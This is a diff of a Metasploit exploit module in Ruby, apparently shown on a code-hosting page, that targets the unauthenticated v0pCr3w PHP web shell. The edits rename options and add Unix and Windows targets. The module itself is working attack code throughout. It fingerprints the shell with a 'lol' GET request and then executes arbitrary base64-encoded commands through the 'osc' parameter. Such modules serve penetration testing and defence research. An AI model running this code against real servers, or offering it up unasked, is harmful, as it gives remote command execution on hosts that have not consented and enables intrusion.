8
8
require 'msf/core'
9
9
10
10
class Metasploit3 < Msf ::Exploit ::Remote
11
+ Rank = GreatRanking
11
12
12
13
include Msf ::Exploit ::Remote ::HttpClient
13
14
14
15
def initialize ( info = { } )
15
16
super ( update_info ( info ,
16
- 'Name' => '" v0pCr3w" Web Shell Remote Code Execution' ,
17
+ 'Name' => 'v0pCr3w Web Shell Remote Code Execution' ,
17
18
'Description' => %q{
18
- This module exploits a lack of authentication in the shell developed by v0pCr3w
19
- and is widely reused in automated RFI payloads. This module takes advantage of the
19
+ This module exploits a lack of authentication in the shell developed by v0pCr3w
20
+ and is widely reused in automated RFI payloads. This module takes advantage of the
20
21
shell's various methods to execute commands.
21
22
} ,
22
23
'License' => MSF_LICENSE ,
@@ -27,7 +28,7 @@ def initialize(info={})
27
28
'References' =>
28
29
[
29
30
[ 'URL' , 'https://defense.ballastsecurity.net/wiki/index.php/V0pCr3w_shell' ] ,
30
- [ 'URL' , 'https://defense.ballastsecurity.net/decoding/index.php?hash=f6b534edf37c3cc0aa88997810daf9c0' ] ,
31
+ [ 'URL' , 'https://defense.ballastsecurity.net/decoding/index.php?hash=f6b534edf37c3cc0aa88997810daf9c0' ]
31
32
] ,
32
33
'Privileged' => false ,
33
34
'Payload' =>
@@ -42,23 +43,27 @@ def initialize(info={})
42
43
} ,
43
44
'Platform' => [ 'unix' , 'win' ] ,
44
45
'Arch' => ARCH_CMD ,
45
- 'Targets' => [ [ 'Automatic' , { } ] ] ,
46
+ 'Targets' =>
47
+ [
48
+ [ 'v0pCr3w / Unix' , { 'Platform' => 'unix' } ] ,
49
+ [ 'v0pCr3w / Windows' , { 'Platform' => 'win' } ]
50
+ ] ,
46
51
'DisclosureDate' => 'Mar 23 2013' ,
47
52
'DefaultTarget' => 0 ) )
48
53
49
54
register_options (
50
55
[
51
- OptString . new ( 'URI' , [ true , "The path to the v0pCr3w shell" , "/" ] ) ,
56
+ OptString . new ( 'TARGETURI' , [ true , "The path to the v0pCr3w shell" , "/jos.php " ] ) ,
52
57
] , self . class )
53
58
end
54
59
55
60
def check
56
61
shell = send_request_cgi ( {
57
- 'method' => 'GET' ,
58
- 'uri' => normalize_uri ( datastore [ 'URI' ] ) ,
59
- 'vars_get' => {
60
- 'lol' => '1'
61
- }
62
+ 'method' => 'GET' ,
63
+ 'uri' => normalize_uri ( target_uri . path . to_s ) ,
64
+ 'vars_get' => {
65
+ 'lol' => '1'
66
+ }
62
67
} )
63
68
if ( shell and shell . body =~ /v0pCr3w\< br\> / and shell . body =~ /\< br\> nob0dyCr3w/ )
64
69
return Exploit ::CheckCode ::Vulnerable
@@ -69,11 +74,11 @@ def check
69
74
def http_send_command ( cmd )
70
75
p = Rex ::Text . encode_base64 ( cmd )
71
76
res = send_request_cgi ( {
72
- 'method' => 'GET' ,
73
- 'uri' => normalize_uri ( datastore [ 'URI' ] ) ,
74
- 'vars_get' => {
75
- 'osc' => p
76
- }
77
+ 'method' => 'GET' ,
78
+ 'uri' => normalize_uri ( target_uri . path . to_s ) ,
79
+ 'vars_get' => {
80
+ 'osc' => p
81
+ }
77
82
} )
78
83
if not ( res and res . code == 200 )
79
84
fail_with ( Exploit ::Failure ::Unknown , 'Failed to execute the command.' )
0 commit comments